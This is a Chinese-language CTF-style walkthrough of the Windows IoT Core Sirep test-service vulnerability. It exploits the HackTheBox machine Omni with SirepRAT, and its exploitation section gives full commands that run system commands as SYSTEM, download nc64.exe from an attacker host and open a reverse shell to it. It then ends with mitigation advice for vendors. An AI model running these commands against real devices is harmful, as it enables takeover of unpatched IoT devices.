[toc]

Windows IoT系统简介

Windows作为IoT(物联网)市场中仅次于Linux系统的第二大系统,其Windows IoT Core是面向物联网领域的核心操作系统版本,覆盖了智能家居、智能医疗、智慧城市、智能物流等众多领域。Windows IoT分为IoT Core和IoT Enterprise版本,而Windows IoT Core又分为Stock Image和Custom Image两个版本。其中,Stock Image版本也被称为Test Image版本,其包含了用于开发及硬件兼容性测试用途的相关接口。

Windows IoT Core系统目前支持的硬件平台包括:高通DragonBoard 410c、树莓派2、树莓派3B、MinnowBoard Turbot、Aaeon Up Squared。

HLK框架及Sirep协议简介

HLK(Hardware Lab Kit)是一个用于测试硬件设备及对应驱动程序和Windows系统之间兼容性的测试框架。PC端软件HLK Studio[3]中包含了该测试框架的Server部分,测试设备中包含了该测试框架的Client部分。用户可在HLK Studio中选择测试用例并发送到待测试的设备中进行测试。在底层实现中,HLK Studio软件通过Sirep协议[4]与待测试设备进行交互。HLK Server与HLK Client的关系如下图所示:

img

实现Sirep协议的DLL文件位于Windows IoT Core系统的C:..\testsirepsvc.dll位置,该DLL实现了包括HLK Studio和Windows IoT Core系统间的通信功能,及执行HLK Studio下发至Windows IoT Core的测试任务等功能。而Sirep协议本身实现了如下功能:

获取Windows IoT Core系统信息;

执行Windows IoT Core系统命令;

下载Windows IoT Core系统中的文件;

上传文件到Windows IoT Core系统中;

获取Windows IoT Core系统中的文件属性信息。

漏洞简述

安全研究人员在2019年的一次会议上发表讲话,揭示了一个影响Windows IoT核心操作系统的新漏洞,使威胁行为者可以完全控制易受攻击的设备。Azouri表示,该漏洞仅影响Windows IoT核心版,Windows IoT核心版是用于运行单个应用程序的设备,例如智能设备,控制板,爱好者设备等。该漏洞不会影响Windows IoT Enterprise,Windows IoT操作系统的更高级版本,支持桌面功能的版本,以及最有可能在工业机器人,生产线和其他工业中部署的版本。

该研究人员表示,他发现的安全问题允许攻击者在Windows IoT核心设备上运行具有SYSTEM权限的命令。在他的测试中,Azouri构建了这样一个工具,一个名为SirepRAT的远程访问木马(RAT),他已经在GitHub上开源。

Azouri在与ZDNet共享的一份研究论文中说:“此漏洞利用程序可以在运行Microsoft官方股票图像的电缆连接的Windows IoT Core设备上运行。”

Azouri的SirepRAT不能无线工作,因为测试接口只能通过以太网连接获得。这意味着攻击者需要物理上位于目标附近,或者破坏公司内部网络上的其他设备,并将其用作攻击易受攻击设备的中继点。

漏洞实战

本次漏洞复现我们使用HackTheBox上的靶机Omni。

  • Machine IP:10.10.10.204

这是一台Windows IoT靶机。通过nmap的结果确定该主机的操作系统类型,进而找到Windows IoT的新漏洞,利用该漏洞直接获得SYSTEM权限。

信息收集

首先,我们我用nmap对目标主机进行端口扫描:

如上图所示,我们可以发现目标主机上开放135和8080端口分别运行着Microsoft Windows RPC和Microsoft IIS httpd服务,且目标主机的操作系统类型为Windows。

我们访问8080端口,发现需要进行认证:

image-20201204184405469

我们用whatweb对目标主机的8080端口进行指纹识别:

image-20201204190515873

发现目标主机8080端口上存在WWW-Authenticate的地方是个Windows Device Portal,即刚才要求我们输入密码的地方是个Windows设备门户页面。

Windows Device Portal

Windows Device Portal 是微软为开发人员推出的用于管理 Windows 10 设备的一项 Web 功能,通过此功能我们可以通过 Web 页面或 USB 连接来远程配置和管理设备。Windows Device Portal 为普通用户、IT Pro 和开发人员提供了高级诊断工具,可以查看 Windows 设备的实时性能并对 Win 10 进行排错和疑难解答。

通过 Windows 设备门户 (WDP) ,你可以通过本地网络远程配置和管理你的设备。但这些操作需要首先通过Windows IoT系统管理员账号和密码认证才能正常使用。

漏洞利用

我们尝试利用该Windows IoT Core新漏洞,该漏洞可以使攻击者可以在Windows IoT核心版设备上以SYSTEM特权运行命令,最终能够完全控制设备。

将漏洞利用代码SirepRAT克隆到本地,执行漏洞利用代码。

我们先执行如下命令测试Windows IoT Core新漏洞是否存在于目标主机上:

1
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c <系统命令>" --v

image-20201205114013966

如上图所示,成功在目标主机上执行命令,该漏洞存在。

然后我们在本地用python开启一个简单的http服务:

image-20201205112658138

然后在目标主机上执行命令,用powershell将我们本地的nc64.exe下载到目标机上:

1
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell Invoke-WebRequest -Uri http://10.10.14.31:8080/nc64.exe -Outfile C:\\windows\\temp\\nc64.exe" --v

image-20201205130313346

如上图所示,nc64上传成功。执行nc64:

1
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\Windows\temp\nc64.exe 10.10.14.31 4444 -e cmd" --v

如下图所示,成功获得目标主机的shell:

image-20201205115905378

我们尝试修改管理员administrator的密码:

image-20201205121706720

用该用户密码成功登录8080端口上的Windows设备门户:

image-20201205130503390

image-20201205122205473

防护建议

本次验证的漏洞能够不经授权就可以在受影响系统设备上执行上传文件和执行系统命令等高危动作,恶意软件通过本漏洞的利用很容易劫持设备成为僵尸网络的一员,成为黑客发起网络攻击的武器之一;设备也能够被黑客控制成为挖矿中的一部分;同时由于IoT设备应用于各行各业,一旦受到控制最直接的就是影响设备的正常运行,进而对生产生活造成影响;同时黑客也可以通过设备作为跳板进一步入侵IoT设备所在网络进行病毒传播、情报窃取和网络破坏等危险行为,对目标网络造成严重威胁。

虽然本次验证的漏洞仅适用于Stock/Test Image版本的Windows IoT Core系统,但由于构建Custom版本需要从Certificate Authority (CA)购买签名证书,并使用该证书对Custom版本的系统进行签名,厂商可能出于成本或其它方面考虑直接使用Stock/Test Image版本的Windows IoT Core系统进行产品发布,也就是说以Stock/Test Image版本的Windows IoT Core系统IoT设备可能已经广泛进入供应链。并且IoT设备在现实应用场景中进行固件升级较为困难,容易被忽视。

综合上述情况,为了有效降低漏洞所带来的威胁,在提高产品安全性的同时,有效提升产品所在网络的安全防护能力,保障客户价值,我们结合漏洞的分析和验证情况给出三点安全建议,具体如下:

  • 建议一: 产品实际的上线过程应该严格按照官方要求的研发、测试和发布流程规范操作,使用Custom Image而非Stock/Test Image版本的Windows IoT系统作为实际产品的发布系统,能够有效避免本次或其它未被发现的Stock/Test Image版本系统漏洞所产生的影响。

  • 建议二:本漏洞所涉及到的服务使用29817、29819、29820三个端口,且涉及到的服务仅用于研发阶段的兼容性测试,并不是实际产品所使用的功能。在暂时无法升级固件的情况下,并确保实际产品中没有依赖相应端口的功能,以防止在关闭相应端口后影响设备的正常使用,则可以临时在Windows IoT Core系统防火墙中将兼容性测试服务所使用的29817、29819、29820三个端口进行阻断,也可暂时避免本次披露漏洞所产生的影响。但仍需要尽快升级固件修补漏洞,才能有效避免本次或其它未被发现的Stock/Test Image版本系统漏洞所产生的影响。

    在Windows IoT Core系统临时阻断端口的命令如下:

    img

  • 建议三: 根据IoT设备所实现功能的技术特征并结合实际运行环境,详细梳理可以访问设备的IP列表、端口列表、访问协议类型,以及设备可以向外主动连接的协议类型、IP列表和端口列表,结合梳理结果使用边界防火墙产品或设备专用防火墙产品配置相应的双向IP地址、端口和协议的白名单访问规则列表,可最大限度的保障IoT设备的访问安全。该方法虽然能够有效保障IoT设备的访问安全,降低漏洞被利用的可能,但并未根除漏洞风险,所以尽快升级固件修补漏洞,才能有效避免本次或其它未被发现的Stock/Test Image版本系统漏洞所产生的影响。